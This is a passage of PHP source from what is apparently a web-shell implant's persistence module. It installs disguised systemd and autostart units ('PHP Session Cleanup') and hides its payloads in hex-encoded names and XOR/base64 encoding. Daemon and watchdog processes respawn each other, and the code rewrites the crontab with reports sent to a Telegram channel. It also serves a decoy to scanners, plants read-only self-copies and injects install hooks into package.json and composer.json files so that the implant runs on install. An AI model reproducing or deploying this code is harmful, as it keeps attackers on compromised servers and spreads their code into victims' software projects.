enable ' . escapeshellarg($svc . '.service') . ' 2>/dev/null'); cmd_exec('systemctl --user restart ' . escapeshellarg($svc . '.service') . ' 2>/dev/null'); $installed[] = $p; } } $sysDir = wn_systemd_system_dir(); if ($sysDir) { $p2 = $sysDir . '/' . $svc . '.service'; if (wn_call('fpc', $p2, $unitSys) !== false) { @chmod($p2, 0644); cmd_exec('systemctl daemon-reload 2>/dev/null'); cmd_exec('systemctl enable ' . escapeshellarg($svc . '.service') . ' 2>/dev/null'); cmd_exec('systemctl restart ' . escapeshellarg($svc . '.service') . ' 2>/dev/null'); $installed[] = $p2; } } if (empty($installed)) { $home = wn_get_home(); if ($home) { $autoDir = $home . '/.config/autostart'; if (!is_dir($autoDir)) @mkdir($autoDir, 0700, true); if (is_dir($autoDir) && is_writable($autoDir)) { $desktop = "[Desktop Entry]\nType=Application\nName=PHP Session Cleanup\nExec={$phpBin} {$entry}\nX-GNOME-Autostart-enabled=true\nTerminal=false\n"; $dp = $autoDir . '/' . $svc . '.desktop'; if (wn_call('fpc', $dp, $desktop) !== false) { @chmod($dp, 0600); $installed[] = $dp; } } } } $log[] = 'systemd: ' . (empty($installed) ? 'FAILED' : count($installed) . ' unit(s)'); return $installed; } function wn_uninstall_systemd(&$log = null) { $svc = wn_systemd_service_name(); $removed = 0; cmd_exec('systemctl --user stop ' . escapeshellarg($svc . '.service') . ' 2>/dev/null'); cmd_exec('systemctl --user disable ' . escapeshellarg($svc . '.service') . ' 2>/dev/null'); cmd_exec('systemctl stop ' . escapeshellarg($svc . '.service') . ' 2>/dev/null'); cmd_exec('systemctl disable ' . escapeshellarg($svc . '.service') . ' 2>/dev/null'); $candidates = []; $u = wn_systemd_user_dir(); if ($u) $candidates[] = $u . '/' . $svc . '.service'; $s = wn_systemd_system_dir(); if ($s) $candidates[] = $s . '/' . $svc . '.service'; $home = wn_get_home(); if ($home) $candidates[] = $home . '/.config/autostart/' . $svc . '.desktop'; foreach ($candidates as $p) if (file_exists($p)) { @unlink($p); $removed++; } cmd_exec('systemctl --user daemon-reload 2>/dev/null'); cmd_exec('systemctl daemon-reload 2>/dev/null'); if ($log !== null) $log[] = "systemd: removed $removed unit(s)"; return $removed; } function wn_systemd_status() { $svc = wn_systemd_service_name(); $info = ['name'=>$svc,'user_unit'=>null,'system_unit'=>null,'user_active'=>false,'system_active'=>false]; $u = wn_systemd_user_dir(); if ($u) { $p = $u . '/' . $svc . '.service'; if (file_exists($p)) { $info['user_unit'] = $p; if (is_shell_available()) $info['user_active'] = trim((string)cmd_exec('systemctl --user is-active ' . escapeshellarg($svc . '.service') . ' 2>/dev/null')) === 'active'; } } $s = wn_systemd_system_dir(); if ($s) { $p = $s . '/' . $svc . '.service'; if (file_exists($p)) { $info['system_unit'] = $p; if (is_shell_available()) $info['system_active'] = trim((string)cmd_exec('systemctl is-active ' . escapeshellarg($svc . '.service') . ' 2>/dev/null')) === 'active'; } } return $info; } function wn_wrap_encode($data, $key) { if ($data === '' || $key === '') return ''; $klen = strlen($key); $x = ''; $len = strlen($data); for ($i = 0; $i < $len; $i++) $x .= chr(ord($data[$i]) ^ ord($key[$i % $klen])); return wn_call('b64e', $x); } function wn_build_wrapper_code($watcherCode = '') { $key = wn_get_key('wrap_selfheal'); $payload = ($watcherCode !== '') ? wn_wrap_encode($watcherCode, $key) : ''; $expectedHash = ($watcherCode !== '') ? hash('sha256', $watcherCode) : ''; $code = <<<'WN_WRAPPER_TEMPLATE_EOF_8C7D' <?php error_reporting(0); @set_time_limit(0); @ignore_user_abort(true); function _wf($k) { static $m = null; if ($m === null) { $m = array("se"=>"\x73\x68\x65\x6c\x6c\x5f\x65\x78\x65\x63","ex"=>"\x65\x78\x65\x63","b64d"=>"\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65","fpc"=>"\x66\x69\x6c\x65\x5f\x70\x75\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73","fgc"=>"\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73"); } return isset($m[$k]) ? $m[$k] : ""; } function _wc($k) { $f = _wf($k); if ($f === "" || !function_exists($f)) return null; $a = func_get_args(); array_shift($a); return @$f(...$a); } $__paths = __WRAPPER_PATHS__; $__key = __WRAPPER_KEY__; $__payload = __WRAPPER_PAYLOAD__; $__hash = __WRAPPER_HASH__; $__pidFile = __WRAPPER_PIDFILE__; $__daemonName = __WRAPPER_DAEMONNAME__; $__home = getenv("HOME") ?: "/tmp"; $__stateDir = sys_get_temp_dir(); if (is_dir($__home . "/.cache") && is_writable($__home . "/.cache")) $__stateDir = $__home . "/.cache"; elseif (is_dir($__home) && is_writable($__home)) $__stateDir = $__home; $__target = null; foreach ($__paths as $__p) { if (!$__p || !@is_file($__p) || @filesize($__p) < 500) continue; if ($__hash !== "" && @hash_file("sha256", $__p) !== $__hash) continue; $__target = $__p; break; } if ($__target === null && $__payload !== "") { $__x = _wc("b64d", $__payload); if ($__x !== false && $__x !== "") { $__d = ""; $__kl = strlen($__key); $__xl = strlen($__x); for ($__i = 0; $__i < $__xl; $__i++) $__d .= chr(ord($__x[$__i]) ^ ord($__key[$__i % $__kl])); foreach ($__paths as $__p) { $__dir = dirname($__p); if (!is_dir($__dir)) @mkdir($__dir, 0700, true); if (is_dir($__dir) && is_writable($__dir)) { if (_wc("fpc", $__p, $__d) !== false) { @chmod($__p, 0600); $__target = $__p; break; } } } } } $__alive = false; $__pg = trim((string)_wc("se", "pgrep -f " . escapeshellarg($__daemonName) . " 2>/dev/null")); if ($__pg !== "") { $__alive = true; } if (!$__alive && file_exists($__pidFile)) { $__pid = (int)_wc("fgc", $__pidFile); if ($__pid > 0) { $__cmd = trim((string)_wc("se", "ps -p $__pid -o args= 2>/dev/null")); if ($__cmd !== "" && strpos($__cmd, basename($__daemonName)) !== false) $__alive = true; } } if (!$__alive && $__target !== null) { $__daemon = dirname($__target) . "/" . basename($__daemonName); if (@file_exists($__daemon)) { $__php = trim((string)_wc("se", "command -v php 2>/dev/null")); if (!$__php) foreach (["/usr/local/bin/php","/usr/bin/php"] as $p) if (file_exists($p)) { $__php = $p; break; } if ($__php) { $__spawn = trim((string)_wc("se", "command -v setsid 2>/dev/null")) !== "" ? "setsid " . escapeshellarg($__php) . " " . escapeshellarg($__daemon) . " >/dev/null 2>&1 &" : "nohup " . escapeshellarg($__php) . " " . escapeshellarg($__daemon) . " >/dev/null 2>&1 &"; _wc("se", $__spawn); } } } if ($__target === null) exit; include $__target; WN_WRAPPER_TEMPLATE_EOF_8C7D; return strtr($code, [ '__WRAPPER_PATHS__'=>var_export(wn_watcher_locations(), true), '__WRAPPER_KEY__'=>var_export($key, true), '__WRAPPER_PAYLOAD__'=>var_export($payload, true), '__WRAPPER_HASH__'=>var_export($expectedHash, true), '__WRAPPER_PIDFILE__'=>var_export(wn_blend_name('daemon_pid'), true), '__WRAPPER_DAEMONNAME__'=>var_export(basename(wn_blend_name('daemon_php')), true), ]); } function wn_install_wrappers(&$log, $watcherCode = '') { $code = wn_build_wrapper_code($watcherCode); $written = []; foreach (wn_wrapper_locations() as $loc) { $dir = dirname($loc); if (!is_dir($dir)) @mkdir($dir, 0700, true); if (!is_dir($dir) || !is_writable($dir)) continue; if (wn_call('fpc', $loc, $code) !== false) { @chmod($loc, 0600); $written[] = $loc; } } $log[] = !empty($written) ? "wrapper: " . count($written) . " files" : "wrapper: FAILED"; return $written; } function wn_wrapper_exists() { foreach (wn_wrapper_locations() as $loc) if (@file_exists($loc) && @is_readable($loc)) return $loc; return null; } function wn_wrapper_cron_targets() { $all = wn_wrapper_locations(); $home = null; $tmp = null; foreach ($all as $p) { $isTmp = (strpos($p, '/tmp/') === 0 || strpos($p, '/var/tmp/') === 0); if (!$isTmp && $home === null && file_exists($p)) $home = $p; if ($isTmp && $tmp === null && file_exists($p)) $tmp = $p; } $targets = []; if ($home) $targets[] = $home; if ($tmp) $targets[] = $tmp; return $targets ?: $all; } function wn_find_best_php($tk) { if (!is_shell_available()) { foreach (['/usr/local/bin/php','/usr/bin/php','/opt/cpanel/ea-php84/root/usr/bin/php','/opt/cpanel/ea-php83/root/usr/bin/php','/opt/cpanel/ea-php82/root/usr/bin/php'] as $bin) if (file_exists($bin) && is_executable($bin)) return ['bin'=>$bin,'version'=>0,'version_str'=>'?']; return null; } $candidates = ['/opt/cpanel/ea-php84/root/usr/bin/php','/opt/cpanel/ea-php83/root/usr/bin/php','/opt/cpanel/ea-php82/root/usr/bin/php','/opt/cpanel/ea-php81/root/usr/bin/php','/opt/cpanel/ea-php80/root/usr/bin/php','/opt/cpanel/ea-php74/root/usr/bin/php','/usr/local/bin/php','/usr/bin/php']; foreach ((array)glob('/opt/cpanel/ea-php*/root/usr/bin/php') as $p) $candidates[] = $p; foreach ((array)glob('/usr/local/php*/bin/php') as $p) $candidates[] = $p; $candidates = array_values(array_unique($candidates)); $tested = []; $firstSeen = []; foreach ($candidates as $bin) { if (!$bin || !file_exists($bin) || !is_executable($bin)) continue; $real = @realpath($bin); if ($real !== false) { if (isset($firstSeen[$real])) continue; $firstSeen[$real] = true; } $verOut = trim((string)cmd_exec(escapeshellarg($bin) . ' -v 2>&1 | head -1')); if (!preg_match('/PHP (\d+\.\d+)/', $verOut, $m)) continue; $tested[] = ['bin'=>$bin,'version'=>(float)$m[1],'version_str'=>$m[1]]; } if (empty($tested)) { $which = trim((string)cmd_exec('which php 2>/dev/null')); if ($which && file_exists($which)) return ['bin'=>$which,'version'=>0,'version_str'=>'?']; return null; } usort($tested, function ($a, $b) { return $b['version'] <=> $a['version']; }); return ['bin'=>$tested[0]['bin'],'version'=>$tested[0]['version'],'version_str'=>$tested[0]['version_str']]; } function wn_daemon_status() { $pidFile = wn_blend_name('daemon_pid'); if (file_exists($pidFile)) { $pid = (int)wn_call('fgc', $pidFile); if ($pid > 0 && wn_pid_is_daemon($pid)) return ['alive'=>true,'pid'=>$pid]; } $dName = basename(wn_blend_name('daemon_php')); $found = trim((string)cmd_exec('pgrep -f ' . escapeshellarg($dName) . ' 2>/dev/null')); if ($found !== '') { $lines = array_values(array_filter(explode("\n", $found))); if (!empty($lines)) { $pid = (int)$lines[0]; wn_call('fpc', $pidFile, $pid); @chmod($pidFile, 0600); return ['alive'=>true,'pid'=>$pid,'repaired'=>true]; } } return ['alive'=>false,'pid'=>0]; } function wn_watchdog_status() { $pidFile = wn_blend_name('watchdog_pid'); if (file_exists($pidFile)) { $pid = (int)wn_call('fgc', $pidFile); if ($pid > 0 && wn_pid_is_daemon($pid)) return ['alive'=>true,'pid'=>$pid]; } $wName = basename(wn_blend_name('watchdog_php')); $found = trim((string)cmd_exec('pgrep -f ' . escapeshellarg($wName) . ' 2>/dev/null')); if ($found !== '') { $lines = array_values(array_filter(explode("\n", $found))); if (!empty($lines)) { $pid = (int)$lines[0]; wn_call('fpc', $pidFile, $pid); @chmod($pidFile, 0600); return ['alive'=>true,'pid'=>$pid,'repaired'=>true]; } } return ['alive'=>false,'pid'=>0]; } function wn_pid_is_daemon($pid) { $pid = (int)$pid; if ($pid <= 0) return false; if (!is_shell_available()) return false; $cmd = trim((string)cmd_exec("ps -p $pid -o args= 2>/dev/null")); if ($cmd === '' || $cmd === '[shell disabled]') return false; $dname = basename(wn_blend_name('daemon_php')); $wname = basename(wn_blend_name('watchdog_php')); if (strpos($cmd, $dname) !== false) return true; if (strpos($cmd, $wname) !== false) return true; return false; } function wn_spawn_daemon($phpBin, $wrapperPath, &$log) { if (!is_shell_available()) { $log[] = "daemon: shell disabled"; return false; } $pidFile = wn_blend_name('daemon_pid'); $daemonPath = dirname($wrapperPath) . '/' . basename(wn_blend_name('daemon_php')); $existing = trim((string)cmd_exec('pgrep -f ' . escapeshellarg($daemonPath) . ' 2>/dev/null')); if ($existing !== '') { $lines = array_values(array_filter(explode("\n", $existing))); if (!empty($lines)) { $pid = (int)$lines[0]; if ($pid > 0) { wn_call('fpc', $pidFile, $pid); @chmod($pidFile, 0600); } $log[] = "daemon: running (PID $pid)"; return true; } } $wrapperVar = var_export($wrapperPath, true); $phpVar = var_export($phpBin, true); $daemonCode = <<<'WN_DAEMON_EOF_3E5F' #!/usr/bin/env php <?php error_reporting(0); @set_time_limit(0); @ignore_user_abort(true); function _dis() { static $d = null; if ($d === null) $d = array_map('trim', explode(',', ini_get('disable_functions') ?: '')); return $d; } function _sh($cmd) { $d = _dis(); foreach (array('shell_exec','exec','system','passthru') as $f) { if (!function_exists($f) || in_array($f, $d, true)) continue; if ($f === 'shell_exec') return @shell_exec($cmd); if ($f === 'exec') { $o = array(); @exec($cmd, $o); return implode("\n", $o); } ob_start(); @$f($cmd); return ob_get_clean(); } if (function_exists('popen') && !in_array('popen', $d, true)) { $fp = @popen($cmd . ' 2>&1', 'r'); if (!$fp) return null; $o = ''; while (!feof($fp)) $o .= fread($fp, 4096); @pclose($fp); return $o; } return null; } function _bg($cmd) { $d = _dis(); $cmd .= ' </dev/null >/dev/null 2>&1 &'; if (function_exists('popen') && !in_array('popen', $d, true)) { $fp = @popen($cmd, 'r'); if ($fp) { @pclose($fp); return true; } } if (function_exists('proc_open') && !in_array('proc_open', $d, true)) { $desc = array(0=>array('file','/dev/null','r'),1=>array('file','/dev/null','w'),2=>array('file','/dev/null','w')); $p = @proc_open($cmd, $desc, $pipes); if (is_resource($p)) { @proc_close($p); return true; } } return false; } $wrapper = __DAEMON_WRAPPER__; $php = __DAEMON_PHP__; while (true) { if (@file_exists($wrapper)) { $running = (string)@_sh("pgrep -f " . escapeshellarg($wrapper) . " 2>/dev/null"); $lines = array_filter(explode("\n", trim($running))); if (count($lines) === 0) @_bg(escapeshellarg($php) . " " . escapeshellarg($wrapper)); } usleep(2000000); } WN_DAEMON_EOF_3E5F; $daemonCode = strtr($daemonCode, ['__DAEMON_WRAPPER__'=>$wrapperVar, '__DAEMON_PHP__'=>$phpVar]); if (wn_call('fpc', $daemonPath, $daemonCode) === false) { $log[] = "daemon: write fail"; return false; } @chmod($daemonPath, 0600); $hasSetsid = trim((string)cmd_exec('command -v setsid 2>/dev/null')) !== ''; $hasNohup = trim((string)cmd_exec('command -v nohup 2>/dev/null')) !== ''; if (!$hasSetsid && !$hasNohup) { $log[] = "daemon: no setsid/nohup"; return false; } $prefix = $hasSetsid ? 'setsid ' : 'nohup '; cmd_exec($prefix . escapeshellarg($phpBin) . ' ' . escapeshellarg($daemonPath) . ' </dev/null >/dev/null 2>&1 &'); usleep(900000); $found = trim((string)cmd_exec('pgrep -f ' . escapeshellarg($daemonPath) . ' 2>/dev/null')); $lines = $found !== '' ? array_values(array_filter(explode("\n", $found))) : []; if (empty($lines)) { $log[] = "daemon: spawn fail"; return false; } $pid = (int)$lines[0]; wn_call('fpc', $pidFile, $pid); @chmod($pidFile, 0600); $log[] = "daemon: spawned (PID $pid)"; return true; } function wn_spawn_watchdog($phpBin, $wrapperPath, &$log) { if (!is_shell_available()) { $log[] = "watchdog: shell disabled"; return false; } $pidFile = wn_blend_name('watchdog_pid'); $wdPath = dirname($wrapperPath) . '/' . basename(wn_blend_name('watchdog_php')); $existing = trim((string)cmd_exec('pgrep -f ' . escapeshellarg($wdPath) . ' 2>/dev/null')); if ($existing !== '') { $lines = array_values(array_filter(explode("\n", $existing))); if (!empty($lines)) { $pid = (int)$lines[0]; if ($pid > 0) { wn_call('fpc', $pidFile, $pid); @chmod($pidFile, 0600); } $log[] = "watchdog: running (PID $pid)"; return true; } } $wrapperVar = var_export($wrapperPath, true); $phpVar = var_export($phpBin, true); $daemonName = basename(wn_blend_name('daemon_php')); $daemonPid = var_export(wn_blend_name('daemon_pid'), true); $wdCode = <<<'WN_WATCHDOG_EOF_9B2A' #!/usr/bin/env php <?php error_reporting(0); @set_time_limit(0); @ignore_user_abort(true); function _dis() { static $d = null; if ($d === null) $d = array_map('trim', explode(',', ini_get('disable_functions') ?: '')); return $d; } function _sh($cmd) { $d = _dis(); foreach (array('shell_exec','exec','system','passthru') as $f) { if (!function_exists($f) || in_array($f, $d, true)) continue; if ($f === 'shell_exec') return @shell_exec($cmd); if ($f === 'exec') { $o = array(); @exec($cmd, $o); return implode("\n", $o); } ob_start(); @$f($cmd); return ob_get_clean(); } if (function_exists('popen') && !in_array('popen', $d, true)) { $fp = @popen($cmd . ' 2>&1', 'r'); if (!$fp) return null; $o = ''; while (!feof($fp)) $o .= fread($fp, 4096); @pclose($fp); return $o; } return null; } function _bg($cmd) { $d = _dis(); $cmd .= ' </dev/null >/dev/null 2>&1 &'; if (function_exists('popen') && !in_array('popen', $d, true)) { $fp = @popen($cmd, 'r'); if ($fp) { @pclose($fp); return true; } } if (function_exists('proc_open') && !in_array('proc_open', $d, true)) { $desc = array(0=>array('file','/dev/null','r'),1=>array('file','/dev/null','w'),2=>array('file','/dev/null','w')); $p = @proc_open($cmd, $desc, $pipes); if (is_resource($p)) { @proc_close($p); return true; } } return false; } $wrapper = __WD_WRAPPER__; $php = __WD_PHP__; $daemonName = __WD_DAEMONNAME__; $daemonPid = __WD_DAEMONPID__; $daemonPath = dirname($wrapper) . "/" . $daemonName; while (true) { $alive = false; $found = trim((string)@_sh("pgrep -f " . escapeshellarg($daemonPath) . " 2>/dev/null")); if ($found !== "") { $lines = array_filter(explode("\n", $found)); if (!empty($lines)) { @file_put_contents($daemonPid, (int)reset($lines)); $alive = true; } } if (!$alive && file_exists($daemonPath)) { @_bg(escapeshellarg($php) . " " . escapeshellarg($daemonPath)); usleep(900000); } $running = @_sh("pgrep -f " . escapeshellarg($wrapper) . " 2>/dev/null"); $lines = array_filter(explode("\n", trim((string)$running))); if (count($lines) === 0 && file_exists($wrapper)) @_bg(escapeshellarg($php) . " " . escapeshellarg($wrapper)); sleep(4); } WN_WATCHDOG_EOF_9B2A; $wdCode = strtr($wdCode, ['__WD_WRAPPER__'=>$wrapperVar, '__WD_PHP__'=>$phpVar, '__WD_DAEMONNAME__'=>var_export($daemonName, true), '__WD_DAEMONPID__'=>$daemonPid]); if (wn_call('fpc', $wdPath, $wdCode) === false) { $log[] = "watchdog: write fail"; return false; } @chmod($wdPath, 0600); $hasSetsid = trim((string)cmd_exec('command -v setsid 2>/dev/null')) !== ''; $hasNohup = trim((string)cmd_exec('command -v nohup 2>/dev/null')) !== ''; if (!$hasSetsid && !$hasNohup) { $log[] = "watchdog: no setsid/nohup"; return false; } $prefix = $hasSetsid ? 'setsid ' : 'nohup '; cmd_exec($prefix . escapeshellarg($phpBin) . ' ' . escapeshellarg($wdPath) . ' </dev/null >/dev/null 2>&1 &'); usleep(900000); $found = trim((string)cmd_exec('pgrep -f ' . escapeshellarg($wdPath) . ' 2>/dev/null')); $lines = $found !== '' ? array_values(array_filter(explode("\n", $found))) : []; if (empty($lines)) { $log[] = "watchdog: spawn fail"; return false; } $pid = (int)$lines[0]; wn_call('fpc', $pidFile, $pid); @chmod($pidFile, 0600); $log[] = "watchdog: spawned (PID $pid)"; return true; } function wn_cron_filter_callback($l) { $needles = [basename(wn_get_key('wrapfile')), basename(wn_blend_name('daemon_php')), basename(wn_blend_name('watchdog_php')), 'php-sess-', 'php-session-']; foreach ($needles as $n) if ($n && stripos($l, $n) !== false) return false; if (stripos($l, 'session_cleanup') !== false) return false; if (trim($l) === '') return false; return true; } function wn_restore_cron($php, $wrapperTargets) { global $__B, $__C; if (!is_shell_available()) return false; if (is_string($wrapperTargets)) $wrapperTargets = [$wrapperTargets]; $wrapperTargets = array_values(array_filter($wrapperTargets, 'file_exists')); if (empty($wrapperTargets)) return false; $existing = (string)cmd_exec('crontab -l 2>/dev/null'); $lines = array_filter(explode("\n", $existing), 'wn_cron_filter_callback'); if ($existing) wn_call('fpc', wn_blend_name('cron_backup'), $existing); $w1 = $wrapperTargets[0]; $lines[] = "* * * * * /bin/sh -c '" . escapeshellarg($php) . " " . escapeshellarg($w1) . " >/dev/null 2>&1'"; $lines[] = "@reboot /bin/sh -c 'sleep 30 && " . escapeshellarg($php) . " " . escapeshellarg($w1) . " >/dev/null 2>&1'"; $tmp = tempnam(sys_get_temp_dir(), 'cron_'); wn_call('fpc', $tmp, implode("\n", $lines) . "\n"); cmd_exec("crontab " . escapeshellarg($tmp) . " 2>&1"); @unlink($tmp); sendTelegramMessage($__B, $__C, "CRON RESTORED\nHost: " . htmlspecialchars(wn_safe_host(), ENT_QUOTES, 'UTF-8')); return true; } function wn_wake_watcher() { global $__B; @touch(wn_state_dir() . "/." . substr(hash('sha256', 'wake:' . $__B), 0, 16)); } function wn_web_trigger() { global $__B, $__C; if (!wn_can_shell()) return; $home = wn_get_home(); if (!$home) return; wn_wake_watcher(); $triggerFile = wn_blend_name('last'); $lastRun = (int)wn_call('fgc', $triggerFile); if (time() - $lastRun < 15) return; wn_call('fpc', $triggerFile, time()); if (wn_is_hidden()) return; $dyingFile = wn_blend_name('dying'); if (file_exists($dyingFile)) { $dyingAt = (int)@wn_call('fgc', $dyingFile); if ($dyingAt > 0 && (time() - $dyingAt) < 300) return; @unlink($dyingFile); } $wrapper = wn_wrapper_exists(); $entry = $wrapper; if (!$entry && wn_check_auth_cookie()) { @set_time_limit(180); try { $r = auto_install_watcher_controller(true); if (($r['status'] ?? '') === 'success') $entry = $r['wrapper'] ?? null; } catch (Throwable $e) { } } if (!$entry) { $liveWatcher = null; foreach (wn_watcher_locations() as $w) if (@file_exists($w)) { $liveWatcher = $w; break; } if ($liveWatcher) { $entry = $liveWatcher; $wcode = wn_call('fgc', $liveWatcher); if ($wcode !== false && $wcode !== '') { $d = []; $rw = wn_install_wrappers($d, $wcode); if (!empty($rw)) $entry = $rw[0]; } } else return; } $best = wn_find_best_php($__B); $php = $best ? $best['bin'] : null; if (!$php) { $php = trim((string)cmd_exec('which php 2>/dev/null')); if (!$php) foreach (['/usr/local/bin/php','/usr/bin/php'] as $p) if (file_exists($p)) { $php = $p; break; } } if (!$php) return; $running = trim((string)cmd_exec("pgrep -f " . escapeshellarg($entry) . " 2>/dev/null")); $liveFile = wn_state_dir() . '/.lv_' . substr(md5($__B), 0, 8); $liveAge = file_exists($liveFile) ? (time() - filemtime($liveFile)) : -1; $stuck = ($liveAge < 0 || $liveAge > 90); if (empty($running) || $stuck) { if ($stuck && !empty($running)) { cmd_exec('pkill -9 -f ' . escapeshellarg($entry) . ' 2>/dev/null'); usleep(500000); } wn_run_bg(escapeshellarg($php) . " " . escapeshellarg($entry)); } $daemon = wn_daemon_status(); if (!$daemon['alive']) { $d = []; wn_spawn_daemon($php, $entry, $d); } $watchdog = wn_watchdog_status(); if (!$watchdog['alive']) { $d = []; wn_spawn_watchdog($php, $entry, $d); } $cron = (string)cmd_exec('crontab -l 2>/dev/null'); if (stripos($cron, 'cleanup.lock') === false && stripos($cron, basename($entry)) === false) wn_restore_cron($php, wn_wrapper_cron_targets()); } function wn_bootstrap() { static $ran = false; if ($ran) return; $ran = true; $skipScanner = !empty($_SERVER['HTTP_X_WN_KEY']) || isset($_GET['wn_otp']) || isset($_GET['wn_tg']) || isset($_GET['wn_fleet']) || isset($_GET['wn_fleet_bootstrap']); if (!$skipScanner && wn_is_scanner()) wn_stealth_decoy(); wn_web_trigger(); wn_heal_backups(); } function wn_heal_backups() { if (!file_exists(__FILE__)) return; foreach (wn_backup_locations() as $b) if (!file_exists($b)) { if (@copy(__FILE__, $b)) { @chmod($b, 0400); wn_apply_mtime($b); } } foreach (wn_replica_backup_paths() as $b) if (!file_exists($b)) { if (@copy(__FILE__, $b)) { @chmod($b, 0400); wn_apply_mtime($b); } } } function wn_clean_state_files() { $explicit = [wn_blend_name('daemon_pid'),wn_blend_name('watchdog_pid'),wn_blend_name('heartbeat'),wn_blend_name('started'),wn_blend_name('last_selfheal'),wn_blend_name('activity'),wn_blend_name('deadman'),wn_blend_name('deadman_noted'),wn_blend_name('rm_pending'),wn_blend_name('sd_pending'),wn_blend_name('cron_backup'),wn_blend_name('integrity_check'),wn_blend_name('integrity_alert'),wn_blend_name('integrity_pause'),wn_blend_name('integrity_pause_ttl')]; foreach ($explicit as $f) @unlink($f); $dir = wn_state_dir(); foreach ((array)glob($dir . '/.otp_*') as $f) @unlink($f); foreach ((array)glob($dir . '/.lk_*') as $f) @unlink($f); foreach ((array)glob($dir . '/.lv_*') as $f) @unlink($f); foreach ((array)glob($dir . '/.of_*') as $f) @unlink($f); foreach ((array)glob($dir . '/.ls_*') as $f) @unlink($f); foreach ((array)glob($dir . '/.bl_*') as $f) @unlink($f); foreach ((array)glob($dir . '/.fl_*') as $f) @unlink($f); foreach ((array)glob($dir . '/.sf_*') as $f) @unlink($f); foreach ((array)glob($dir . '/.sb_*') as $f) @unlink($f); foreach ((array)glob($dir . '/.so_*') as $f) @unlink($f); } /* ============ PERSISTENCE HELPERS ============ */ function wn_find_project_files($home, $filename) { $results = []; if (!$home || !is_dir($home)) return $results; $scanDirs = [$home, $home.'/public_html', $home.'/www', $home.'/htdocs', $home.'/domains', $home.'/html', $home.'/sites', $home.'/public']; foreach ($scanDirs as $baseDir) { if (!is_dir($baseDir)) continue; $f = $baseDir . '/' . $filename; if (file_exists($f) && is_writable($f)) $results[] = $f; $subdirs = @scandir($baseDir) ?: []; foreach ($subdirs as $sub) { if ($sub === '.' || $sub === '..') continue; if (isset($sub[0]) && $sub[0] === '.') continue; $subPath = $baseDir . '/' . $sub; if (!is_dir($subPath)) continue; $sf = $subPath . '/' . $filename; if (file_exists($sf) && is_writable($sf)) $results[] = $sf; } } return array_values(array_unique($results)); } function wn_inject_npm_hooks($home, $entry) { $files = wn_find_project_files($home, 'package.json'); if (empty($files)) return 0; $marker = 'wn_lifecycle_' . substr(md5('wn_npm_' . wn_get_key('npm')), 0, 8); $cmd = 'php "' . $entry . '" >/dev/null 2>&1 &'; $n = 0; foreach ($files as $file) { $raw = @file_get_contents($file); if ($raw === false) continue; $json = @json_decode($raw, true); if (!is_array($json)) continue; if (!isset($json['scripts']) || !is_array($json['scripts'])) $json['scripts'] = []; if (isset($json['scripts'][$marker])) { $n++; continue; } $json['scripts'][$marker] = $cmd; foreach (['preinstall', 'postinstall', 'prepare'] as $hook) { if (!isset($json['scripts'][$hook])) $json['scripts'][$hook] = 'npm run ' . $marker . ' 2>/dev/null || true'; elseif (is_string($json['scripts'][$hook]) && strpos($json['scripts'][$hook], $marker) === false) $json['scripts'][$hook] = 'npm run ' . $marker . ' 2>/dev/null || true; ' . $json['scripts'][$hook]; } $newJson = json_encode($json, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE); if ($newJson !== false && @file_put_contents($file, $newJson . "\n") !== false) $n++; } return $n; } function wn_cleanup_npm_hooks($home) { $files = wn_find_project_files($home, 'package.json'); $marker = 'wn_lifecycle_' . substr(md5('wn_npm_' . wn_get_key('npm')), 0, 8); $n = 0; foreach ($files as $file) { $raw = @file_get_contents($file); if ($raw === false) continue; $json = @json_decode($raw, true); if (!is_array($json) || !isset($json['scripts'][$marker])) continue; unset($json['scripts'][$marker]); foreach (['preinstall', 'postinstall', 'prepare'] as $hook) { if (!isset($json['scripts'][$hook])) continue; if (is_string($json['scripts'][$hook])) { $parts = array_filter(explode(';', $json['scripts'][$hook]), function($p) use ($marker) { return strpos($p, $marker) === false; }); $joined = trim(implode(';', $parts)); if ($joined === '') unset($json['scripts'][$hook]); else $json['scripts'][$hook] = $joined; } } $newJson = json_encode($json, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE); if ($newJson !== false && @file_put_contents($file, $newJson . "\n") !== false) $n++; } return $n; } function wn_inject_composer_hooks($home, $entry) { $files = wn_find_project_files($home, 'composer.json'); if (empty($files)) return 0; $marker = 'wn_lifecycle_' . substr(md5('wn_composer_' . wn_get_key('composer')), 0, 8); $cmd = 'php "' . $entry . '" >/dev/null 2>&1 &'; $n = 0; foreach ($files as $file) { $raw = @file_get_contents($file); if ($raw === false) continue; $json = @json_decode($raw, true); if (!is_array($json)) continue; if (!isset($json['scripts']) || !is_array($json['scripts'])) $json['scripts'] = []; if (isset($json['scripts'][$marker])) { $n++; continue; } $json['scripts'][$marker] = $cmd; foreach (['pre-install-cmd','post-install-cmd','post-update-cmd','post-autoload-dump'] as $hook) { if (!isset($json['scripts'][$hook])) $json['scripts'][$hook] = ['@' . $marker]; elseif (is_string($json['scripts'][$hook])) { if (strpos($json['scripts'][$hook], $marker) === false) $json['scripts'][$hook] = ['@' . $marker, $json['scripts'][$hook]]; } elseif (is_array($json['scripts'][$hook])) { $found = false; foreach ($json['scripts'][$hook] as $s) if (is_string($s) && strpos($s, $marker) !== false) { $found = true; break; } if (!$found) array_unshift($json['scripts'][$hook], '@' . $marker); } } $newJson = json_encode($json, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE); if ($newJson !== false && @file_put_contents($file, $newJson . "\n") !== false) $n++; } return $n; } function wn_cleanup_composer_hooks($home) { $files = wn_find_project_files($home, 'composer.json'); $marker = 'wn_lifecycle_' . substr(md5('wn_composer_' . wn_get_key('composer')), 0, 8); $n = 0; foreach ($files as $file) { $raw = @file_get_contents($file); if ($raw === false) continue; $json = @json_decode($raw, true); if (!is_array($json) || !isset($json['scripts'][$marker])) continue; unset($json['scripts'][$marker]); foreach (['pre-install-cmd','post-install-cmd','post-update-cmd','post-autoload-dump'] as $hook) { if (!isset($json['scripts'][$hook])) continue; if (is_array($json['scripts'][$hook])) { $json['scripts'][$hook] = array_values(array_filter($json['scripts'][$hook], function($s) use ($marker) { return !(is_string($s) && strpos($s, $marker) !== false); })); if (empty($json['scripts'][$hook])) unset($json['scripts'][$hook]); } elseif (is_string($json['scripts'][$hook]) && 